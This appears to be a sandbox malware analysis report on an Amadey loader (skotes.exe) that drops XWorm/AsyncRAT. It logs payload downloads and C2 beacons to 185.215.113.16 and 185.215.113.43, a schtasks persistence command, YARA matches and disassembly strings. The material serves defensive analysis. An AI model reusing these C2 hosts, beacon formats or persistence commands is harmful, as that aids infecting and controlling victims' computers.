Nov 30, 2024 18:08:46.817097902 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sat, 30 Nov 2024 16:25:11 GMT If-None-Match: "674b3c67-1c3400"
Nov 30, 2024 18:08:48.267802000 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 17:08:47 GMT Last-Modified: Sat, 30 Nov 2024 16:25:11 GMT Connection: keep-alive ETag: "674b3c67-1c3400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49860	185.215.113.43	80	2640	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 18:08:50.928807974 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 31 30 37 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1010714001&unit=246122658369

Target ID:	0
Start time:	12:06:54
Start date:	30/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc70000
File size:	1'884'160 bytes
MD5 hash:	795DC87C1AF119B6D27E01167FC129D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1708915780.0000000000C71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1668428517.0000000005450000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:06:57
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xfa0000
File size:	1'884'160 bytes
MD5 hash:	795DC87C1AF119B6D27E01167FC129D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1740413865.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1700108911.0000000005650000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:06:59
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfa0000
File size:	1'884'160 bytes
MD5 hash:	795DC87C1AF119B6D27E01167FC129D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1718912522.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1761097528.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:08:00
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfa0000
File size:	1'884'160 bytes
MD5 hash:	795DC87C1AF119B6D27E01167FC129D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2320707751.0000000005370000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:08:13
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe"
Imagebase:	0xe0000
File size:	52'736 bytes
MD5 hash:	EFD5937F50C21B5CE660D67F3F995821
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000002.2895978891.000000000254A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:08:15
Start date:	30/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "github" /tr "C:\Users\user\AppData\Roaming\github.exe"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:08:15
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:08:17
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Roaming\github.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\github.exe
Imagebase:	0x440000
File size:	52'736 bytes
MD5 hash:	EFD5937F50C21B5CE660D67F3F995821
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\github.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\github.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:08:29
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe"
Imagebase:	0x7d0000
File size:	1'723'904 bytes
MD5 hash:	7AC5198E128DEDA55EEEB6CCFC8B57EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 05660C47 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711669702.0000000005660000.00000040.00001000.00020000.00000000.sdmp, Offset: 05660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c79388a2c4a240131a64083b821e622c495ffc1131eb303364d8988b9f006b6d
Instruction ID: 6a1845b71c2be6f75ddfd011d5a8ecbf85ffe675044706a1dd2983090f135d01
Opcode Fuzzy Hash: c79388a2c4a240131a64083b821e622c495ffc1131eb303364d8988b9f006b6d
Instruction Fuzzy Hash: 10F0FEBB25C014BD7151D5826B299FA7BAEE5C2730771C837F943C4402D6A50A4EA231

Function 05660C3B Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711669702.0000000005660000.00000040.00001000.00020000.00000000.sdmp, Offset: 05660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5faf10ca632b4f9db0fd3140c04ef3bab65d66f89af555ff8113783ec3056ca2
Instruction ID: ce46bdcf97ec6fa1b7716ffd1cfe333b74c478f4ecdfd916938a7d7010935222
Opcode Fuzzy Hash: 5faf10ca632b4f9db0fd3140c04ef3bab65d66f89af555ff8113783ec3056ca2
Instruction Fuzzy Hash: BB01D6FB24C114BD6100E591AB2C9FB7BAEE1C2730331C93BF842C5402E2B64D4BA275

Function 05660C5C Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711669702.0000000005660000.00000040.00001000.00020000.00000000.sdmp, Offset: 05660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b41b4d9416ef71c3f37c8de930b3d77d8418f49f46dbc559b6758faede4c72
Instruction ID: ea4975859d7c46580e23c3b2ccff9a3bffc1d8e03b76182fb644efbf23da2d47
Opcode Fuzzy Hash: b2b41b4d9416ef71c3f37c8de930b3d77d8418f49f46dbc559b6758faede4c72
Instruction Fuzzy Hash: 1F01F7BB64D190AEF30295611A6D9F67BEDE9C3231335887BF441C6803D25A0A4FE232

Analysis Process: skotes.exePID: 2640, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.4%
Total number of Nodes:	1844
Total number of Limit Nodes:	83

Executed Functions

Function 00FABE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00FABEB8
InternetOpenW.WININET(00FF8DC8,00000000,00000000,00000000,00000000), ref: 00FABEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00FABEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00FABF36
HttpSendRequestA.WININET(?,00000000), ref: 00FABFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00FAC0A8
InternetCloseHandle.WININET(?), ref: 00FAC187
InternetCloseHandle.WININET(?), ref: 00FAC18F
InternetCloseHandle.WININET(?), ref: 00FAC197

Strings

stoi argument out of range, xrefs: 00FAE4EA
8HJUeMD Lq5=, xrefs: 00FAC465
RE1NXF==, xrefs: 00FABF0E
RmNn, xrefs: 00FAD606
8HJUeIfzLo==, xrefs: 00FAC3CB, 00FAC623
invalid stoi argument, xrefs: 00FAE4F4

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: f2556f131f54d3fb260d406fa513c4d67272974907c9e2feb0ba75c66b6650dd
Instruction ID: b0daa2f81f7274e40f0a287fd3a0b59134bfb0af064313b4e193929b9809402b
Opcode Fuzzy Hash: f2556f131f54d3fb260d406fa513c4d67272974907c9e2feb0ba75c66b6650dd
Instruction Fuzzy Hash: 32B1D4B1A002189BDF24CF28CC84BDD7BB9EF46304F508199F50997292D7759AC0DF95

Function 00FAE530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GnNoc2Hc, xrefs: 00FAE56C
WTs=, xrefs: 00FB05CA
246122658369, xrefs: 00FAF737, 00FAFA14, 00FB05E7, 00FB099A
111, xrefs: 00FAF7A0
WTw=, xrefs: 00FB097D
MGE+, xrefs: 00FAE821
UA==, xrefs: 00FAEB0F, 00FAED56
#, xrefs: 00FB0624
9c9aa5, xrefs: 00FAFB8E
MQ==, xrefs: 00FAE592
WDw=, xrefs: 00FAF71D, 00FAF9FA

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 740138d51f7e41db888036e79f00fd1c26bab199d12517e697ba492bb2ed1a0f
Instruction ID: c0dfa2b4c177ac3cb61025094b54d62087fdf7580a4d17b23d6e2cf87311199b
Opcode Fuzzy Hash: 740138d51f7e41db888036e79f00fd1c26bab199d12517e697ba492bb2ed1a0f
Instruction Fuzzy Hash: 0282E4709043889BEF15EF68C9597CE7FB6AB46304F504188E8056B3C2D7799A88DFD2

Function 00FBD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00FA24BE

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: cbeeec143e6273737187a2630e7f4e0094f8f8e5ecb3debb9280df8d8dda9958
Instruction ID: c717a1ae2583edca0d6f289ee9f2aa2c51c7ea54e47bf0b47ab8e4322baf3cad
Opcode Fuzzy Hash: cbeeec143e6273737187a2630e7f4e0094f8f8e5ecb3debb9280df8d8dda9958
Instruction Fuzzy Hash: 2951AE72D0430ACBEB26CF59D8857ADB7B5FB48324F24842AD449EB245E339E940DF51

Function 00FB3640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FB434F

Part of subcall function 00FB7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00FB7AEC
Part of subcall function 00FB7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00FB7AF8
Part of subcall function 00FB7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00FB7B01

Strings

stoi argument out of range, xrefs: 00FB2EF2, 00FB4359, 00FB4F9C
Hykl, xrefs: 00FB387F
9HQ0, xrefs: 00FB54E1
8WI0, xrefs: 00FB5692
93E0, xrefs: 00FB5600
MGI+, xrefs: 00FB48AD, 00FB49DC, 00FB4BCC, 00FB4CFB
Vmc0, xrefs: 00FB55D7
WGS0, xrefs: 00FB5533
9250, xrefs: 00FB54AD
invalid stoi argument, xrefs: 00FB2ED9, 00FB2EE8, 00FB434A, 00FB4F8D
anE0, xrefs: 00FB566B
Fw==, xrefs: 00FB378E, 00FB4E1D
5120, xrefs: 00FB3BAF, 00FB3C9A
V2Te, xrefs: 00FB3EB0
jS=, xrefs: 00FB6513
9c9aa5, xrefs: 00FB5619
MGE+, xrefs: 00FB4866, 00FB48DD, 00FB4B85, 00FB4BFC
KCWUOl==, xrefs: 00FB5649
VXQ0, xrefs: 00FB550A
aWW0, xrefs: 00FB555C
3I3eB==, xrefs: 00FB4802
WX f, xrefs: 00FB3BDE
GE0, xrefs: 00FB5585
", xrefs: 00FB3F89
WGpm, xrefs: 00FB3CC9
246122658369, xrefs: 00FB1F95, 00FB28DE, 00FB2B33, 00FB2BA0, 00FB2F78, 00FB3463, 00FB34C4, 00FB502A, 00FB503D, 00FB507F, 00FB5089, 00FB5684
VXA0, xrefs: 00FB55AE
2I0, xrefs: 00FB5627

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: 7def98101537ab86b906d499bcbf797d4c6114ae34af956c112ba01522c3b24e
Instruction ID: 90e027cde4137f043d5d82cb8da543cf9d38a40d22928c11d8a1f02cb69da995
Opcode Fuzzy Hash: 7def98101537ab86b906d499bcbf797d4c6114ae34af956c112ba01522c3b24e
Instruction Fuzzy Hash: 5A522571A002489BDF18EF79CD867DDBBB5AF45300F54458CE405A7282DB39AB84EF92

Function 00FB2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5120, xrefs: 00FB3BAF, 00FB3C9A
Fw==, xrefs: 00FB378E
stoi argument out of range, xrefs: 00FB4359
WGpm, xrefs: 00FB3CC9
V2Te, xrefs: 00FB3EB0
246122658369, xrefs: 00FB2F78
WTw=, xrefs: 00FB2F5E
Hykl, xrefs: 00FB387F
WX f, xrefs: 00FB3BDE
", xrefs: 00FB3F89
invalid stoi argument, xrefs: 00FB434A

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 077fe85cbe6965bdd293fc1a6bfb1ad837e402792b47188d6ad0ed5c1df7eac0
Instruction ID: 5a2693dc0e316e7143524f6b1c9788b309e1b3326707b478367ef6b975c5015f
Opcode Fuzzy Hash: 077fe85cbe6965bdd293fc1a6bfb1ad837e402792b47188d6ad0ed5c1df7eac0
Instruction Fuzzy Hash: 43720571A002489BDF18EF79CD8A7DDBBB5AF45300F54458CE405A7282D739AB84EF92

Function 00FA5EE0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 00FA60C9
0000043f, xrefs: 00FA612B
00000423, xrefs: 00FA60FA
Keyboard Layout\Preload, xrefs: 00FA6054
00000419, xrefs: 00FA6098

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 81a266f568c966457c657463704aa5db3eaa165ae683946e04e6d06c0848ac5f
Instruction ID: 2dac67315b2315b620a8d8449c02a3d15414a92fbbee08c5f0c153dd6c6ddf68
Opcode Fuzzy Hash: 81a266f568c966457c657463704aa5db3eaa165ae683946e04e6d06c0848ac5f
Instruction Fuzzy Hash: 6DD1BFB19002589FEB24DF24CC88BDEB7B9EF05340F5442D8E508E7291DB749AA4DF95

Function 00FA7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
